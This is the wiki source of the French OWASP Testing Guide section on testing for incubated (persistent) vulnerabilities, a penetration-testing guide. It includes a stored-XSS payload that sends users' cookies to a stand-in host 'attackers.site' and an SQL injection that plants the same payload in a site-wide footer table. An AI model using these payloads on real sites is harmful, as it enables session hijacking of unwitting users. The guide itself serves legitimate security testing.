View source for 4.8.15 Tester les incubated vulnerabilities (OTG-INPVAL-015)

{{Template:OWASP Testing Guide v4}}


== Sommaire ==
Aussi connues sous le nom d'attaques persistentes, tester les incubated est une méthode complexe de test qui nécessite plus d'une vulnérabilité de validation de données pour fonctionner. Les vulnérabilités incubated sont typiquement utilisées pour mener des attaques "watering hole" contre les utilisateurs d'applications web légitimes.

Les vulnérabilité incubated ont les caractéristiques suivantes :
* En premier lieu, le vecteur d'attaque doit être persistent, il doit être stocké dans la couche de persistence, et cela ne peut arriver que si une faible validation de données est présente ou si les données sont arrivées dans le système par un autre canal, comme une console d'administration ou via un processus batch du backend.
* Deuxièmement, uen fois le vecteur d'attaque a été "rappelé", il doit être exécuté avec succès. Par exemple, une attaque par incubated XSS nécessitera une faible validation des sorties pour que le script puisse être délivré au client sous sa forme exécutable.


L'exploitation de quelques vulnérabilités, ou même de fonctionnalités d'une application web, va permettre à l'attaquant de déposer des données qui seront ensuite récupérées par un utilisateur à son insu ou par d'autres composants du système, et ainsi d'exploiter une autre vulnérabilité.


Dans un test d'intrusion, le terme '''incubated attacks''' peut être utilisé pour évaluer la criticité de certains bogues, utilisant un problème de sécurité particulier pour construire une attaque côte client qui pourra cibler un large nombre de victimes simultanément (par exemple, tous les utilisateurs naviguant sur le site).


Ce type d'attaque asynchrones couvre un large spectre de vecteurs d'attaque, parmi eux :

* Les composants de stockage de fichiers d'une application, permettant à un attaquant de télécharger des fichiers multimedia corrompus (images jpg exploitant CVE-2004-0200, images png exploitant CVE-2004-0597, des fichiers exécutables, des pages avec des composants actofs, etc.).

* Des failles XSS dans des forums publics (voir [[Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)|Testing for Stored Cross_site scripting (OTG-INPVAL-002)]] pour plus de détails). Un attaquant peut potentiellement stocker des scripts ou du code malicieux dans un repository sur le backend de l'application (ex: une base de données) afin que ce script/code soit exécuté par un des utilisateurs (utilisateurs finaux, administrateurs, etc.). L'archétype d'une attaque incubated est d'utiliser une vulnérabilité XSS dans un forum d'utilisateurs, bulletin board, ou un blog afin d'injecter du code JavaScript dans une page vulnérable, qui sera affichée et exécutée par le navigateur de l'utilisateur, en utilisant le niveau de confiance du site original (vulnérable).

* Des injections SQL/XPath permettant à l'attaquant de stocker du contenu dans la base de données, qui sera ensuite récupéré comme partie active du contenu d'une page web. Par exemple, si l'attaquant peut poster du JavaScript arbitraire dans un bulletin board afin qu'il soit exécuté par les utilisateurs, il peut prendre le contrôle de leurs navigateurs (Ex. : [http://sourceforge.net/projects/xss-proxy XSS-proxy])

* Des serveurs mal configurés permettant l'installation de paquetages Java ou de composants web similaires  (Ex. : Tomcat, ou des consoles d'hébergement web comme Plesk, CPanel, Helm, etc.)


==Comment tester==

=== Test en boite noire ===

====Exemple de stockage de fichier====
Vérifier le type de contenu permis sur une application web et l'URL résultante pour le fichier stocké. Télécharger un fichier qui va exploiter un composant dans la station de travail locale de l'utilisateur quand il sera visualisé ou téléchargé par l'utilisateur. Envoyer un e-mail à la victime ou une autre sorte d'alerte pour l'inciter à visiter la page. Le résultat attendu est que l'exploit sera déclenché quand l'utilisateur consulte la page résultante ou télécharge et exécute le fichier depuis le site de confiance.


====Exemple XSS sur un Bulletin Board====

1. Introduire du code ''JavaScript'' comme valeur du champ vulnérable, par exemple :

 <nowiki><script>document.write('<img src="http://attackers.site/cv.jpg?'+document.cookie+'">')</script></nowiki>
   
2. Diriger des utilisateurs vers la page vulnérable ou attendre que des utilisateurs la visitent. Mettre en place un <nowiki>"listener"</nowiki> sur ''attackers.site'' pour écouter toutes les connexions entrantes.

3. Wuand les utilisateurs visitent la page vulnérable, une requête contenant leur cookie (''document.cookie'' est inclu dans l'URL) sera envoyée vers ''attackers.site'', telle que :

  <nowiki>- GET /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSIONID=ROGUEIDVALUE;</nowiki>
      <nowiki>%20JSESSIONID=ADIFFERENTVALUE:-1;%20ExpirePage=https://vulnerable.site/site/;</nowiki>
      <nowiki>TOKEN=28_Sep_2006_21:46:36_GMT HTTP/1.1</nowiki>


4. Utiliser les cookies ainsi obtenus pour usurper l'identité des utilisateurs sur le site vulnérable.


====Exemple d'injection SQL====
Souvent, cet ensemble d'exemples utilise des attaques XSS pour exploiter une vulnérabilité d'injection SQL. La première chose à faire est de tester si le site ciblé comporte une vulnérabilité d'injection SQL. Cela est décrit dans la section 4.2 [[Testing for SQL Injection  (OTG-INPVAL-006)|Testing for SQL Injection]]. Pour chaque vulnérabilité d'injection SQL, il y a un ensemble de contraintes décrivant le genre de requêtes que l'attaquant/testeur peut faire.


Le testeur doit alors faire correspondre les attaques XSS qu'il a conçues avec les entrées qu'il peut insérer.

1. De manière similaire aux exemples précédents de XSS, utiliser un champ d'une page vulnérable à des injections SQL pour changer une valeur en base de données qui pourra être utilisée par l'application comme entrée à afficher sur le site sans filtrage adéquat (cela serait une combinaison d'injection SQL et de XSS). Par exemple, supposons qu'il y ait une table ''footer'' en base avec tous les pieds de page des pages du site, incluant un champ ''notice'' contenant une note légale apparaissant en bas de chaque page. Vous pourriez utiliser la requête suivante pour injecter du code JavaScript dans le champ ''notice'' de la table ''footer' dans la base.
  
  SELECT field1, field2, field3
   FROM table_x
   WHERE field2 = 'x';
      UPDATE footer
      <nowiki>SET notice = 'Copyright 1999-2030%20</nowiki>
          <nowiki><script>document.write(\'<img src="http://attackers.site/cv.jpg?\'+document.cookie+\'">\')</script>'</nowiki>
      WHERE notice = 'Copyright 1999-2030';

      
2. Maintenant, chaque utilisateur visitant le site envoie silencieusement son cookie vers ''attackers.site'' (étapes b.2 to b.4).


====Serveur mal configuré====
Certains serveurs web ont une interface d'administration qui peut permettre à un attaquant de stocker les composants actifs de leur choix sur le site. Cela peut être le cas avec un serveur Apache Tomcat qui ne force pas d'authentification solide pour accéder à son Web Application Manager (ou si le testeur a pu obtenir des identifiants/mot de passe valides par d'autres moyens).


Dans ce cas, une fichier WAR peut être téléchargé et une nouvelle application web déployée sur le site, qui permettra non seulement au testeur d'exécuter le code de son choix localement sur le serveur, mais aussi d'installer une application sur le site de confiance, à laquelle les utilisateurs réguliers du site auront accès (très probablement avec un niveau de confiance plus grand que lorsqu'ils visitent d'autres sites).


Il devrait être évident que la possibilité de changer le contenu des page d'un serveur, via des vulnérabilités quelconques exploitable sur le serveur, et qui vont donner à l'attaquant les droits d'écriture sur l'arborescence du site, pourra aussi être utile pour placer une telle attaque incubated sur les pages du serveur (c'est en fait la méthode de propagation des vers infectant les serveurs web).


=== Test en boite grise === 
Les techniques grises/blanches seront les mêmes que celle discutées précédemment.
* Examiner la validation des entrée est la clef pour mitiguer cette vulnérabilité. Si d'autres systèmes dans l'entreprise utilise la même couche de persistence, elle pauvent avoir des validations faibles et les données peuvent être persistées via une "back door".

* Pour combattre les problèmes de "back door" du côté client, une validation des sorties doit aussi être employée afin d'encoder les données corrompues avant de les afficher au client, et donc elles ne seront pas exécutées.

* Voir la section [[Data Validation %28Code Review%29#Data validation strategy|Data Validation]] du Guide de revue de code.


==Outils==

* XSS-proxy - http://sourceforge.net/projects/xss-proxy
* Paros - http://www.parosproxy.org/index.shtml
* Burp Suite - http://portswigger.net/burp/proxy.html
* Metasploit - http://www.metasploit.com/

== Références ==
La plupart des références de la section sur les cross site scripting sont valides. Comme expliqué plus haut, les attaques incubated sont exécutées en combinant des exploits comme des XSS et des injections SQL.


'''Avis'''<br>

* CERT(R) Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests - http://www.cert.org/advisories/CA-2000-02.html
* Blackboard Academic Suite 6.2.23 +/-: Persistent cross-site scripting vulnerability - http://lists.grok.org.uk/pipermail/full-disclosure/2006-July/048059.html


'''Whitepapers'''<br>

* Web Application Security Consortium "Threat Classification, Cross-site scripting" - http://www.webappsec.org/projects/threat/classes/cross-site_scripting.shtml